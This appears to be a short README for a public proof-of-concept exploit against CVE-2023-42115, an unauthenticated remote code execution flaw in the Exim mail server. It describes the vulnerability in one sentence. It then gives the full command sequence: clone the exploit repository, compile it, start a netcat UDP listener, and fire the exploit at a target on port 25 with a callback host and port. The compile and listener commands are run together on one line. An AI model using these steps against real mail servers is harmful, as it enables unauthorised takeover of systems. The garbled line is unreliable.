Exim AUTH Out-Of-Bounds Write Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Exim. Authentication is not required to exploit this vulnerability.
git clone https://github.com/doaso/CVE-2023-42115.git
cd CVE-2023-42115/
g++ main.cpp -o app -std=c++20nc -u -lvp 27015
./app 127.0.0.1 25 127.0.0.1 27015